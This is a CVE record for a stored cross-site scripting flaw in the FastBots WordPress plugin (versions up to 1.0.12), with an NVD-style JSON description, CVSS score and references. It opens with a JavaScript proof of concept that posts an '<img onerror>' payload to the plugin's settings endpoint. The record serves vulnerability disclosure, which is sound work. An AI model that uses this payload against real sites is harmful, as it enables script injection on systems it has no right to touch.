CVE-2026-6800

<!-- PoC for FastBots Stored XSS Target: WordPress Plugin FastBots <= 1.0.12 Author: Security Analyst --> <script> // Simulating an attack where an admin injects a payload // The vulnerable parameter is assumed to be within the settings page function exploit() { var payload = '<img src=x onerror=alert(1)>'; var params = new URLSearchParams(); params.append('action', 'fastbots_save_settings'); params.append('bot_name', payload); fetch('/wp-admin/admin.php?page=fastbots-settings', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: params }).then(response => console.log('Payload injected')); } exploit(); </script>

{"cve": {"id": "CVE-2026-6800", "sourceIdentifier": "[email protected]", "published": "2026-05-12T10:16:48.207", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The FastBots plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/fastbots-ai-chatbots/tags/1.0.12/fastbots.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fastbots-ai-chatbots/tags/1.0.12/settings-page.php#L59", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fastbots-ai-chatbots/trunk/fastbots.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fastbots-ai-chatbots/trunk/settings-page.php#L59", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b861e82a-dbff-491d-8a0a-1bfb9a7798ad?source=cve", "source": "[email protected]"}]}}